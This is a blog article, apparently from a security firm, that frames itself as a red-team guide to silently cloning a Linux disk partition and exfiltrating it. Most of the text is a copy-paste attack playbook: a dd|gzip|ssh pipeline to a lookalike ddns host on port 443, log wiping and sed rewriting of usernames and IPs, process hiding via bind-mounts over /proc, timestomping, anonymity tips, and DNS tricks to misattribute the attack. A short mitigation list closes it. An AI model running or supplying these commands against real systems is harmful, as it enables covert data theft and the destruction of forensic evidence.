Anonymous Connection, Information Exfiltration, and Covering Tracks in Red Team Operations (RTO)

1. Introduction and Objectives

In this article, we will demonstrate how an attacker can exfiltrate a complete clone of a hard drive or a disk partition in a silent and professional manner, as should be done in a Red Team Operation (RTO). We will employ the same tactics, techniques, and procedures (TTPs) used by cybercriminal groups.

We will not delve into the details of how an attacker can compromise a system at this level, as it is not the objective of this article (we have several articles on our blog that cover this topic). However, it’s important to note that incidents of this nature frequently occur due to insiders.

An “insider” is defined as an individual within a business organization (employee, partner, etc.) who has access to sensitive information (commercial, financial, etc.) and exploits these accesses to harm the company for various reasons. Among the different types of harm an insider can cause are: publishing sensitive information, selling it for personal gain, deleting it, or encrypting it with ransomware to later demand a ransom.

For the purpose of this exercise, the attacker must consider the following assumptions:

1. They have access to the victim system.
2. They have access to the victim system with a user having “root” privileges or are capable of escalating to “root”.
3. They have a dedicated server with the scenario set up to receive the exfiltrated information.

In this article, we will go through the operation in phases. First, we will gain access to the victim machine and conduct a system reconnaissance to cover our tracks and achieve situational awareness of the environment. Then, we will proceed to clone the hard drive and transmit it to our Command and Control (C2) server. While the information exfiltration is underway, we will exit the system to avoid detection and monitor the transmission progress from our attacking machine. Once the exfiltration is complete, we will re-enter the victim machine to finalize the process of eliminating traces. The ultimate goal is to exfiltrate the cloned hard drive of the victim system without being detected.

To carry out an operation of this nature, basic knowledge of Linux is required.

The operation’s commands are available on our GitHub:

https://github.com/JAYMONSECURITY/JMSec-Blog-Resources

2. Possible Attack Scenarios

When a cybercriminal group or an “insider” gains access to a victim’s system, it’s understandable that they would want to exfiltrate as much information as possible without being detected. They achieve this goal by silently cloning hard drives or partitions, as we will see in the following points.

As for the possible scenarios where such an attack could take place, the main ones include:

1. A criminal group has exploited a vulnerability that grants them remote code execution access to the victim’s system with “root” privileges.
2. An “insider” who has access to a company’s system has managed to escalate privileges as an administrator user or “root” user.

3. Setting up the attacker’s scenario

To carry out this practice, the attacker will need a machine that acts as a server to host the cloned hard drive of the victim system. This server can also act as the “attacker’s machine,” so throughout the article, we will treat “attacker’s machine” and “server” as if they were the same machine.

Considering that we are here to demonstrate how a Red Team simulating a criminal group can carry out the described tasks, we should adopt a “black hat” mindset to understand how criminal groups think. This will help us become aware of the security measures to take in each situation.

Thus, the server for hosting the clone can be obtained in two ways:

• Giving access in the Demilitarized Zone (DMZ) of our Router to our attacker’s machine or server, or configuring port-forwarding rules. A criminal group would never choose this option, as it would reveal our public IP address, causing potential issues. Criminal groups consider this option when they can connect to a public network (WiFi or Ethernet) or a compromised network (previously hacked or gained through physical access) without being traced. It’s worth noting that besides accessing these networks, less experienced attackers would need access to the router to make the necessary configurations. For more experienced attackers, if they lack access to the compromised network’s router, they would conduct reconnaissance to identify which internal IP address is allowed in the DMZ or which ports are permitted by the router’s firewall and where the connection is redirected. Armed with this information, the next step for the attacker would be to perform a denial-of-service attack on those devices, followed by IP address spoofing. This involves setting their own IP address as static, mimicking the compromised device’s IP address. This ensures that the attacker’s machine can be accessed from the compromised network’s public IP address, directed to the open port on the router’s firewall. (Defense: This emphasizes the importance of creating secure passwords and accesses for both cyber and physical networks, as well as conducting regular inspections.)

• Hiring a dedicated server. A criminal group would opt for this method in a country different from where they reside and operate, preferably in a country with strained international relations with the victim’s country. This would complicate digital forensics investigations following the “attack.” Typically, they would pay for the dedicated server using cryptocurrency to ensure anonymity. (Defense: This highlights the importance of implementing whitelists/blacklists for connections from certain countries.)

When hiring a dedicated server to carry out the operation, it is advisable that the server’s specifications are suitable to minimize command response times and ensure the transmission of the cloned data is as fast and reliable as possible.

At this stage, we need to configure our server or attacking machine, which will serve as the host for the cloned victim system’s hard drive. To do this:

• We should create a generic user that doesn’t attract attention, such as a user named “backup”.
• To this user, we grant limited SSH access so that the victim machine can send the exfiltration information to our server through an SSH tunnel.
• It’s advisable to configure the SSH server to receive connections on port 443. This ensures a high likelihood that operations through this port will be allowed (both incoming and outgoing connections) in the organization’s perimeter security systems. This way, you avoid drawing attention in network traffic controls.

At this point, and continuing with the obfuscation, we should obtain a DNS hostname using the noip.com service and assign it to the IP address of our dedicated server. As an example, let’s assume the DNS hostname is of the form “victimdomain.ddns.net”. If the victim organization’s name or domain is “JAYMON SECURITY,” we might create the DNS hostname “jaymonsecurity.ddns.net” to help it blend in with the network traffic controls of the victim organization. We’ll assign this DNS hostname to the IP address of our dedicated server where we’ll receive the cloned disk from the victim machine, as shown below:

4. Execution of the Attack

To carry out the execution of the attack in a disciplined manner, it is advisable to compile a list of commands to be executed classified by phases of the operation. This way, during the attack, we can practically semi-automate all the steps with a simple copy-paste to shorten the time of presence in the system as much as possible. This translates into minimizing the risk of being detected. It is recommended to perform all actions in memory rather than creating scripts that write to the disk, as that could trigger alarms in the victim system.

a) Infiltration and Reconnaissance

In this phase, we will gain access to the victim machine, either through SSH or by other means, in order to establish a command shell. It is during this phase that we will gather relevant information necessary to cover our tracks, perform the desired cloning, and mount the cloned image on our own systems.

Assuming that we are carrying out all actions as if they were actually performed to ensure anonymity as if a criminal group were involved, let’s assume we have contracted a dedicated server using cryptocurrency.

As Red teamers, the most desirable connection to maintain anonymity throughout the mission is to boot our attacking machine from a Live USB with a TOR-connected OS like TAILS. We will connect to our anonymously-contracted dedicated server via SSH, and from there, establish an SSH connection to the victim machine to carry out our operations.

Upon entering the victim system with a Linux OS and obtaining a command shell, we proceed to check the active users on the system using the “w” or “who” command. This is important because knowing the users on the system allows us to understand their roles, and if a user responsible for network analysis is active, it’s advisable to postpone the operation to avoid detection. Similarly, running the “ps -aux” or “top -c” command helps us observe active processes on the victim system. This can help us identify any processes responsible for detailed event logging or sending information to external servers where we lack the ability to erase our traces. In such cases, we can decide to terminate the process or gather as much information as possible about it, abandon the mission temporarily, and strategize on how to properly evade it before making another attempt.

Having passed the initial filtering described in the previous paragraph, we proceed to escalate privileges to “root” to ensure that all our operations are not hindered by insufficient privileges, and that process execution occurs under the “root” user.

Without further delay, we launch the “cat /etc/*release” and “uname -a” commands to identify the victim system’s operating system, which is necessary for mounting the cloned image in a virtual machine.

After escalating to “root,” we proceed to erase our entry traces, as well as any failed login attempts that have been logged. This is accomplished using the following commands:

echo “” /var/log/wtmp
echo “” /var/log/btmp

Continuing with the erasure of traces, we are going to see which users are in the system using the command “ls /home.” The purpose is to replace our username “mikeofi” (with which we have logged in) with the name of an existing user in the victim system in all files with the “.log” extension. For this case, we will call the existing user in the system “system_user1.” To create greater confusion in a possible forensic analysis, it is advisable to carry out this substitution with other legitimate users existing in the system. We can carry this out with the following commands:

At this point, we are going to replace our IP address with which we have logged in, with a usual IP address that connects to the victim system, in the system logs.

To see our public IP address we can run the command “curl ifconfig.me,” or see it through the website https://www.whatismyip.com .

To know what IP addresses are accepted and are usual in the victim system, we can do it through the following command:

cat /var/log/auth* | grep Accepted

Once we have the necessary information, we can proceed to replace the information as follows:

cd /var/log/

find . -type f -name “*.log” -print0 | xargs -0 sed -i ‘s/IP_atacante/IP_legítima/g’

To complete the erasure of traces from the login phase, all that remains is to delete the command history, which is advised to do as follows

b) Information exfiltration phase

We have reached the most important point of the operation. As the ‘root’ user, we proceed to start a parallel session identified with the name “B” by launching the command “screen -S B”. Note that we can give it any name we want, but keep in mind that if by chance a system user escalates to ‘root’ and runs the command “screen -ls”, they will see the active sessions with their names, so the name we give to the new session should not attract attention.

In this new session is where we proceed to launch the command that will be responsible for cloning the hard drive in transmission to our server. To do this, we first need to see what disks the victim has to know which ones we are interested in cloning:

As we can see in the previous capture, we are interested in cloning ‘sda2,’ as its size leads us to believe with almost complete certainty that it is where the entire operating system installation is hosted, along with the bulk of the information. Therefore, to perform the compressed transmission cloning of ‘/dev/sda2,’ we must execute the ‘dd’ command combined with ‘gzip’ and ‘ssh’ in the following way:

• dd if=/dev/sda2 bs=64K conv=noerror,sync | gzip -c | ssh backup@jaymonsecurity.ddns.net -p 443 “dd of=backup.dd.gz”

It will ask us to enter the password to be able to start an SSH session to our server on port 443 as the ‘backup’ user. We enter it, and the transmission cloning begins. The resulting file will be the compressed clone in the file named ‘backup.dd.gz’. Just remember that the ‘backup’ user was created on our server to go unnoticed, and that ‘jaymonsecurity.ddns.net’ was created with NOIP and points to our dedicated server where the ‘gzip’ compressed file resulting from the cloning will be hosted.

At this point, all that’s left is to let the victim machine work until the operation is complete. To do this, we will exit this Shell raised with the ‘screen’ command using the key combination ‘control + a + d,’ so that the process continues actively working in the background when we log out of the victim system.

c) EscHiding the cloning execution processes

Right now, the problem we may have is that if a user monitors the system processes using the command ‘ps -aux’ or ‘top -c’, they will be able to observe that the ‘screen’ and ‘dd’ commands are running, along with an SSH connection made by a user called ‘backup’ to a server that goes unnoticed because it has the name of the victim company. Although the masking is quite good, this remains something by which we could be discovered, so we must hide this operation from the system processes.

As an example, we are going to hide the ‘screen -S B’ command from the processes, which can be observed in the system processes. To do this, we must first know the PID of the process (second column), which in this case is ‘302’.

Once we know the PID of the process to hide, we proceed with the following commands:

1. We create a new folder with the name we want in the directory ‘/mnt’: mkdir /mnt/volume
2. We execute the command “mount -o bind /mnt/volume /proc/302“

Now we will see that the process with PID 302 has been successfully hidden.

We will do this with all the processes we want to hide. Once finished, we are ready to delete the command history and exit the victim system.

echo “” > /root/.bash_history #We delete the command history of the ‘root’ user.

history -c #We delete the command cache.

exit #We exit the ‘root’ user session.

exit #We exit the ‘mikeofi’ user session, and thus completely exit the victim system.

You might wonder why to exit the system and not stay in it until the operation is complete. Well, if we stay in the system, any user can see that the ‘mikeofi’ user is logged in by simply launching the ‘who’ command, although it is true that it will not appear in the login record when the ‘last’ command is executed. Therefore, it is advisable to exit the system as soon as possible.

This is the time to monitor on our server that the ‘backup.dd.gz’ file has been created and is being transmitted correctly, with its size constantly increasing. When it stops growing in size, it will mean that the cloning transfer has been completed, so we will move on to the last phase of the operation.

d) Final footprint deletion and egress phase

Once the cloning transmission has finished and the ‘backup.dd.gz’ file has been correctly generated on our server, we must proceed to finalize the operation. To do this, we must re-enter the victim machine, completely erase our traces, and exit. The commented commands are shown below after logging in with the ‘mikeofi’ user:

sudo su #We escalate to ‘root’.

echo “” > /var/log/wtmp #We delete user login records (‘last’).

echo “” > /var/log/btmp #We delete records of failed user login attempts (‘lastb’).

cd /var/log/ #We move to the /var/log/ directory.

find . -type f -name “*.log” -print0 | xargs -0 sed -i ‘s/mikeofi/system_user1/g’ #We replace the name ‘mikeofi’ with ‘system_user1’ in all the logs.

find . -type f -name “*.log” -print0 | xargs -0 sed -i ‘s/system_user2/system_user3/g’ #We replace the name ‘system_user2’ with ‘system_user3’ in all the logs.

find . -type f -name “*.log” -print0 | xargs -0 sed -i ‘s/IP_atacante/IP_legítima/g’ #We replace the attacker’s IP address with an IP address that is already previously registered in the system in all the logs.

screen -r B #We access the ‘screen’ session named ‘B’ that we created earlier. We will see the results of the cloning transmission to our attacking server.

exit #We end the ‘screen’ session.

rm -rf /mnt/* #We delete the folders created in /mnt/ that were used to hide suspicious processes.

history -c #We delete the command history cache.

echo “” > /home/mikeofi/.bash_history #We delete the command history of ‘mikeofi’.

touch -t 202201121200 /home/mikeofi/.bash_history #We change the modification date of the bash history file.

echo “” > /home/system_user1/.bash_history #We delete the command history of ‘system_user1’.

touch -t 202201121200 /home/system_user1/.bash_history #We change the modification date of the bash history file.

echo “” > /root/.bash_history #We delete the command history of the ‘root’ user.

history -c #We delete the command history cache again.

exit #We end the session as the ‘root’ user.

exit #We end the session of the ‘mikeofi’ user and completely exit the victim system.

At this point, all that remains is to go back to our domain created with NOIP and change its IP address to the legitimate IP address of the victim system, or to any other. Interestingly, it’s at this moment that criminal groups take advantage of assigning an IP address they want to attribute the attack to in case of forensic analysis.

5. Mounting the obtained image of the victim system

The time has come to perform the dump of the image obtained from the cloning (“backup.dd.gz”) into a virtual machine with the same operating system as the victim machine. This way, we will obtain a virtual machine in which the same processes and services as the victim machine will run.

It should be clarified that our goal with this type of setup is not solely to access the victim system’s information, as that could be achieved by performing a standard mount using the “mount” command.

We proceed with the setup, and for this, let’s assume that during the reconnaissance phase, we gathered information that the victim machine had a Debian 10 operating system and that the cloned partition was an NVME disk. Thus, in order to restore the cloned disk image obtained through the “dd” tool and make it functional within a virtual machine with all its processes and services running, we will carry out the following steps:

1. In VMware Workstation, we create a virtual machine with 2 generous-sized NVME-type hard disks (around 500GB), which is the same disk type as the victim machine. Once the virtual machine is created, we install the Debian 10 Operating System using its ISO file. One disk will be used to host the cloned image, and the other will be used for dumping it.
2. We decompress the “backup.dd.gz” image and obtain the original dump file “dd”. We change the extension to “.img,” naming the file “backup.img.”
3. We introduce that image into the second 500GB disk of the virtual machine we created in step one. To do this, we can set up an HTTP server (Apache) on our server and download the image to the Debian 10 virtual machine using the following command:
   • “wget -c http://ipserver/backup.img“. In this way, thanks to the “-c” flag of “wget,” if the connection is interrupted, we can resume it, and the download will continue from where it left off. This is important because, with large files like these, downloads can be interrupted for various reasons.
4. Once the download is complete, we need to verify the integrity of the downloaded file to ensure that the download is accurate and not corrupt. This can be done using tools like “shasum” or “md5sum,” among others.
5. Now we have the image on the second disk of our virtual machine (VM). It’s time to restart the VM with the Debian 10 installation ISO by pressing the “Escape” key at the beginning of the boot process.
6. Upon entering the installation ISO, we navigate to advanced options and then select “rescue mode.” We load the modules and, in the end, choose the option for “no filesystem root” or a similar option. This allows us to access a command shell.
7. With the command shell, we proceed to mount the second disk where the “backup.img” file is located in the following way:
   • mount /dev/nvme0n2 /mnt/
8. Once mounted, we execute “chmod -R 777 /mnt/” and then use “ls /mnt” to confirm that we have access to the “backup.img” file.
9. At this point, we need to format the partition of the disk where the image will be installed. In other words, we need to format “/dev/nvme0n1p1” using the command:
   • mkfs.ext4 /dev/nvme0n1p1
10. Once formatted, the only remaining step is to execute the following command, which will be responsible for performing the task of dumping the cloned image of the victim system onto the root of the formatted partition:
    • dd if=”/mnt/dd.img” of=”/dev/nvme0n1p1″ bs=64K conv=sync,noerror

We wait for the operation to finish. Afterwards, we unmount the second disk using the command “umount /mnt,” and then mount the first disk using the command “mount /dev/nvme0n1p1 /mnt” to verify that all the image files have been properly dumped. If everything appears to be in order, we unmount the disk using the command “umount /mnt” and proceed to reboot the VM with the command “reboot.”

At this stage, we can confidently state that we have a functional cloned image in a virtual machine, which we can export and import into environments where it’s needed.

However, if upon restarting the VM we encounter errors preventing it from booting correctly, we need to resolve them in the following manner:

1. We boot again from the ISO to access the previous command shell, and then execute “sudo fsck.ext4 -v /dev/nvme0n1p1.” We proceed to accept the repairs suggested by the process. Once it’s finished, we reboot, and the VM should now function correctly.

When you’re in front of the login screen, you should use the same credentials that you used to access the victim machine, whether it was through SSH or remote desktop.

6. Mitigation measures

Throughout the operation, we’ve seen various methodologies and tool usage that can provide us with valuable insights into how to mitigate an attack of this nature.

Setting aside anonymity and obfuscation, which fall beyond the realm of the Blue Team (responsible for the defense of the corporate organization), let’s focus on the obstacles that can be put in the way of cybercriminal groups or insiders attempting to infiltrate our systems and subsequently exfiltrate confidential information in the manner described in this article.

To do this, we will list them in order of priority, acknowledging that the implementation of each point will depend on the environment in which the system to be protected resides.

As pre-intrusion measures, we have:

1. Whitelisting of accepted IP addresses for incoming connections.
2. Setting incoming connections for system entry through VPN and using a port different from the default one.
3. Measures against brute-force login attempts using tools like “fail2ban.”
4. Implementing multi-factor authentication procedures for VPN access and/or system entry.

As measures to be taken once the cybercriminal has gained access to the system:

1. Do not grant “root” privileges to any user who doesn’t require them. For those users who have been granted such privileges, establish multi-factor authentication procedures as a security policy for their access.
2. Enforce a security policy where each user cannot access the “bash history” of other users on the system, preventing them from deleting it or obtaining sensitive information about operations performed within the system.
3. Implement remote event logging systems to prevent manipulation or deletion of event logs by storing them off-site.
4. Remove or rename the “dd” tool from the system to prevent disk cloning, even if it requires “root” user privileges.
5. Remove, limit usage of, or rename the “sed” tool to prevent automated information replacement in files.
6. Remove, restrict usage of, or rename the “touch” tool to prevent manipulation of file creation and modification dates.
7. Rename or restrict access to the “mount” tool to prevent hiding processes.
8. Rename or restrict access to the “history” tool to prevent viewing and clearing command history cache.
9. Restrict access to the system log directory (“/var/log/”) to prevent manipulation and deletion.
10. Rename or restrict access to the “rm” tool to prevent the cybercriminal from conducting mass data deletions.
11. Establish firewall rules to prevent suspicious incoming and outgoing connections.

Needless to say, the importance of installing antivirus systems and all updates and security patches cannot be overstated. This is to prevent potential privilege escalation through the exploitation of vulnerabilities in outdated versions of the kernel, services, or system applications.

7. Conclusions

In this article, we have seen how an insider or cybercriminal who gains access to an organization’s computer system can execute a data exfiltration operation by silently cloning an entire hard drive and transmitting it to their own server. All of this occurs covertly, within a short timeframe, while anonymizing their connections.

The importance of adequately protecting computer systems to prevent such issues is evident. Likewise, coherent mitigation measures for such enterprise environments have been presented.

If you’re interested in acquiring introductory knowledge in ethical hacking, you can enroll in our basic ethical hacking course. Alternatively, if you prefer to gain more advanced knowledge in offensive cybersecurity, you can explore our advanced course.